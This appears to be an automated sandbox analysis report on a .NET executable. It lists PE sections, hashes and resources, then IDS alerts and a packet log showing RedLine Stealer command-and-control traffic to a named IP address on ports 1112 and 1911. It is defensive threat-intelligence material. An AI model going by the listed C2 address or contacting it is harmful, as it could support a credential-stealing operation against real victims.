add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x30244	0x57	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x32000	0x1c9c6	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x50000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2008	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0x2e2a4	0x2e400	fde816a3b3ae0ecacd5e5ab05f73a727	False	0.47479413006756754	data	6.186366061893661	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rsrc	0x32000	0x1c9c6	0x1ca00	a8cf3f8ff27a4a736ba8fb433d91107f	False	0.2380765556768559	data	2.615031395625776	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x50000	0xc	0x200	ad0a6b4525092f96ee7808055cdae654	False	0.044921875	data	0.08153941234324169	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	ZLIB Complexity
RT_ICON	0x32220	0x3d04	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced	0.9934058898847631
RT_ICON	0x35f24	0x10828	Device independent bitmap graphic, 128 x 256 x 32, image size 65536, resolution 2835 x 2835 px/m	0.09013072282030049
RT_ICON	0x4674c	0x4228	Device independent bitmap graphic, 64 x 128 x 32, image size 16384, resolution 2835 x 2835 px/m	0.13905290505432216
RT_ICON	0x4a974	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9216, resolution 2835 x 2835 px/m	0.17033195020746889
RT_ICON	0x4cf1c	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4096, resolution 2835 x 2835 px/m	0.2045028142589118
RT_ICON	0x4dfc4	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1024, resolution 2835 x 2835 px/m	0.24645390070921985
RT_GROUP_ICON	0x4e42c	0x5a	data	0.7666666666666667
RT_VERSION	0x4e488	0x352	data	0.4447058823529412
RT_MANIFEST	0x4e7dc	0x1ea	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators	0.5489795918367347

Imports

DLL	Import
mscoree.dll	_CorExeMain

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-08T11:24:21.358270+0100	2043231	ET MALWARE Redline Stealer TCP CnC Activity	1	192.168.11.20	49748	89.23.97.121	1112	TCP
2025-01-08T11:24:21.358270+0100	2046045	ET MALWARE [ANY.RUN] RedLine Stealer/MetaStealer Family Related (MC-NMF Authorization)	1	192.168.11.20	49748	89.23.97.121	1112	TCP
2025-01-08T11:24:21.630664+0100	2043234	ET MALWARE Redline Stealer TCP CnC - Id1Response	1	89.23.97.121	1112	192.168.11.20	49748	TCP
2025-01-08T11:24:26.669865+0100	2043231	ET MALWARE Redline Stealer TCP CnC Activity	1	192.168.11.20	49748	89.23.97.121	1112	TCP
2025-01-08T11:24:27.070524+0100	2043231	ET MALWARE Redline Stealer TCP CnC Activity	1	192.168.11.20	49748	89.23.97.121	1112	TCP
2025-01-08T11:24:27.708030+0100	2043231	ET MALWARE Redline Stealer TCP CnC Activity	1	192.168.11.20	49748	89.23.97.121	1112	TCP
2025-01-08T11:24:28.033899+0100	2043231	ET MALWARE Redline Stealer TCP CnC Activity	1	192.168.11.20	49748	89.23.97.121	1112	TCP
2025-01-08T11:24:28.848988+0100	2043231	ET MALWARE Redline Stealer TCP CnC Activity	1	192.168.11.20	49748	89.23.97.121	1112	TCP
2025-01-08T11:24:29.121943+0100	2043231	ET MALWARE Redline Stealer TCP CnC Activity	1	192.168.11.20	49748	89.23.97.121	1112	TCP
2025-01-08T11:24:29.393622+0100	2043231	ET MALWARE Redline Stealer TCP CnC Activity	1	192.168.11.20	49748	89.23.97.121	1112	TCP
2025-01-08T11:24:29.695937+0100	2043231	ET MALWARE Redline Stealer TCP CnC Activity	1	192.168.11.20	49748	89.23.97.121	1112	TCP
2025-01-08T11:24:29.970275+0100	2043231	ET MALWARE Redline Stealer TCP CnC Activity	1	192.168.11.20	49748	89.23.97.121	1112	TCP
2025-01-08T11:24:30.244400+0100	2043231	ET MALWARE Redline Stealer TCP CnC Activity	1	192.168.11.20	49748	89.23.97.121	1112	TCP
2025-01-08T11:24:30.586256+0100	2043231	ET MALWARE Redline Stealer TCP CnC Activity	1	192.168.11.20	49748	89.23.97.121	1112	TCP
2025-01-08T11:24:30.939569+0100	2043231	ET MALWARE Redline Stealer TCP CnC Activity	1	192.168.11.20	49748	89.23.97.121	1112	TCP
2025-01-08T11:24:31.213342+0100	2043231	ET MALWARE Redline Stealer TCP CnC Activity	1	192.168.11.20	49748	89.23.97.121	1112	TCP
2025-01-08T11:24:31.488362+0100	2043231	ET MALWARE Redline Stealer TCP CnC Activity	1	192.168.11.20	49748	89.23.97.121	1112	TCP
2025-01-08T11:24:31.806733+0100	2043231	ET MALWARE Redline Stealer TCP CnC Activity	1	192.168.11.20	49748	89.23.97.121	1112	TCP
2025-01-08T11:24:33.019673+0100	2043231	ET MALWARE Redline Stealer TCP CnC Activity	1	192.168.11.20	49748	89.23.97.121	1112	TCP
2025-01-08T11:24:33.293505+0100	2043231	ET MALWARE Redline Stealer TCP CnC Activity	1	192.168.11.20	49748	89.23.97.121	1112	TCP
2025-01-08T11:24:33.566799+0100	2043231	ET MALWARE Redline Stealer TCP CnC Activity	1	192.168.11.20	49748	89.23.97.121	1112	TCP
2025-01-08T11:24:33.845047+0100	2043231	ET MALWARE Redline Stealer TCP CnC Activity	1	192.168.11.20	49748	89.23.97.121	1112	TCP
2025-01-08T11:24:34.117796+0100	2043231	ET MALWARE Redline Stealer TCP CnC Activity	1	192.168.11.20	49748	89.23.97.121	1112	TCP
2025-01-08T11:24:34.472435+0100	2043231	ET MALWARE Redline Stealer TCP CnC Activity	1	192.168.11.20	49748	89.23.97.121	1112	TCP
2025-01-08T11:24:34.743199+0100	2043231	ET MALWARE Redline Stealer TCP CnC Activity	1	192.168.11.20	49748	89.23.97.121	1112	TCP
2025-01-08T11:24:37.512019+0100	2043231	ET MALWARE Redline Stealer TCP CnC Activity	1	192.168.11.20	49748	89.23.97.121	1112	TCP
2025-01-08T11:24:37.783860+0100	2043231	ET MALWARE Redline Stealer TCP CnC Activity	1	192.168.11.20	49748	89.23.97.121	1112	TCP
2025-01-08T11:24:40.760334+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.11.20	49749	89.23.97.121	1911	TCP
2025-01-08T11:24:41.963009+0100	2043231	ET MALWARE Redline Stealer TCP CnC Activity	1	192.168.11.20	49748	89.23.97.121	1112	TCP
2025-01-08T11:24:42.273238+0100	2043231	ET MALWARE Redline Stealer TCP CnC Activity	1	192.168.11.20	49748	89.23.97.121	1112	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 8, 2025 11:24:17.751485109 CET	49748	1112	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:18.762732029 CET	49748	1112	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:20.777884007 CET	49748	1112	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:21.048711061 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:21.048914909 CET	49748	1112	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:21.055516005 CET	49748	1112	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:21.326741934 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:21.358269930 CET	49748	1112	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:21.630664110 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:21.683959007 CET	49748	1112	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:26.669864893 CET	49748	1112	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:26.943329096 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:26.943406105 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:26.943483114 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:26.943595886 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:26.943630934 CET	49748	1112	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:26.943654060 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:26.943814039 CET	49748	1112	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:27.070523977 CET	49748	1112	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:27.341856956 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:27.385854006 CET	49748	1112	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:27.708029985 CET	49748	1112	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:27.979675055 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:28.026299000 CET	49748	1112	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:28.033899069 CET	49748	1112	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:28.304447889 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:28.304657936 CET	49748	1112	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:28.304826021 CET	49748	1112	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:28.304996967 CET	49748	1112	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:28.575299978 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:28.575309992 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:28.575557947 CET	49748	1112	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:28.575778008 CET	49748	1112	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:28.845944881 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:28.846404076 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:28.846410990 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:28.846677065 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:28.847610950 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:28.848988056 CET	49748	1112	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:29.119815111 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:29.121942997 CET	49748	1112	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:29.392846107 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:29.393621922 CET	49748	1112	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:29.664488077 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:29.695936918 CET	49748	1112	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:29.967052937 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:29.970274925 CET	49748	1112	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:30.241204023 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:30.244400024 CET	49748	1112	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:30.516324043 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:30.556989908 CET	49748	1112	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:30.586256027 CET	49748	1112	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:30.857079029 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:30.900662899 CET	49748	1112	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:30.939568996 CET	49748	1112	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:31.211878061 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:31.213341951 CET	49748	1112	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:31.485394001 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:31.488362074 CET	49748	1112	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:31.760467052 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:31.806732893 CET	49748	1112	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:33.019673109 CET	49748	1112	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:33.290851116 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:33.293504953 CET	49748	1112	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:33.565450907 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:33.566798925 CET	49748	1112	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:33.838087082 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:33.845046997 CET	49748	1112	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:33.845117092 CET	49748	1112	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:33.845139027 CET	49748	1112	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:33.845352888 CET	49748	1112	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:34.117563963 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:34.117573023 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:34.117795944 CET	49748	1112	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:34.117836952 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:34.117847919 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:34.117861986 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:34.117963076 CET	49748	1112	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:34.118386984 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:34.388489008 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:34.389131069 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:34.431168079 CET	49748	1112	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:34.472434998 CET	49748	1112	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:34.472470045 CET	49748	1112	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:34.472528934 CET	49748	1112	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:34.472726107 CET	49748	1112	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:34.472887993 CET	49748	1112	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:34.742980957 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:34.743138075 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:34.743199110 CET	49748	1112	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:34.743377924 CET	49748	1112	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:34.743438959 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:34.743544102 CET	49748	1112	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:34.743702888 CET	49748	1112	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:34.743851900 CET	49748	1112	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:34.744029045 CET	49748	1112	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:34.745048046 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:34.745273113 CET	49748	1112	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:34.745452881 CET	49748	1112	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:34.745584011 CET	49748	1112	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:34.745615959 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:34.745749950 CET	49748	1112	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:34.745778084 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:34.745790958 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:34.745922089 CET	49748	1112	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:34.745981932 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:34.746094942 CET	49748	1112	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:34.746263981 CET	49748	1112	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:34.746303082 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:34.746586084 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:34.746602058 CET	49748	1112	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:34.746778011 CET	49748	1112	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:34.746820927 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:34.746862888 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:34.746942043 CET	49748	1112	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:34.747051954 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:34.747402906 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:35.013854980 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:35.014056921 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:35.014276028 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:35.014575958 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:35.014808893 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:35.015019894 CET	49748	1112	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:35.015083075 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:35.015172005 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:35.015183926 CET	49748	1112	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:35.015379906 CET	49748	1112	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:35.015539885 CET	49748	1112	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:35.015760899 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:35.015769005 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:35.016017914 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:35.016047955 CET	49748	1112	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:35.016195059 CET	49748	1112	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:35.016309023 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:35.016844988 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:35.016853094 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:35.017086029 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:35.017424107 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:35.017734051 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:35.017935991 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:35.018141985 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:35.018712997 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:35.019104958 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:35.019285917 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:35.019835949 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:35.019843102 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:35.020200014 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:35.020207882 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:35.020282984 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:35.020881891 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:35.020889044 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:35.021145105 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:35.021392107 CET	49748	1112	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:35.021560907 CET	49748	1112	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:35.021750927 CET	49748	1112	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:35.021897078 CET	49748	1112	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:35.021975040 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:35.022064924 CET	49748	1112	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:35.285550117 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:35.285799980 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:35.285932064 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:35.286267996 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:35.286355972 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:35.286874056 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:35.286884069 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:35.287187099 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:35.287439108 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:35.287447929 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:35.288086891 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:35.288095951 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:35.288355112 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:35.288454056 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:35.288974047 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:35.289203882 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:35.290510893 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:35.290967941 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:35.291191101 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:35.291198969 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:35.291210890 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:35.291697979 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:35.291896105 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:35.291966915 CET	49748	1112	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:35.292135000 CET	49748	1112	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:35.292171955 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:35.292298079 CET	49748	1112	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:35.292471886 CET	49748	1112	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:35.292588949 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:35.292639971 CET	49748	1112	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:35.292855024 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:35.292908907 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:35.293124914 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:35.293418884 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:35.293673992 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:35.293946981 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:35.294003010 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:35.294009924 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:35.294305086 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:35.294970989 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:35.295022011 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:35.295259953 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:35.295794964 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:35.297022104 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:35.297503948 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:35.297781944 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:35.297789097 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:35.298036098 CET	49748	1112	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:35.298207045 CET	49748	1112	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:35.298393011 CET	49748	1112	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:35.298571110 CET	49748	1112	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:35.298706055 CET	49748	1112	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:35.564227104 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:35.564424038 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:35.565083981 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:35.565093040 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:35.565099001 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:35.565356016 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:35.565366030 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:35.565613031 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:35.565874100 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:35.566160917 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:35.566169024 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:35.566435099 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:35.566514015 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:35.566996098 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:35.567004919 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:35.567949057 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:35.567959070 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:35.568399906 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:35.568671942 CET	49748	1112	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:35.568845987 CET	49748	1112	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:35.568850994 CET	1112	49748	89.23.97.121	192.168.11.20
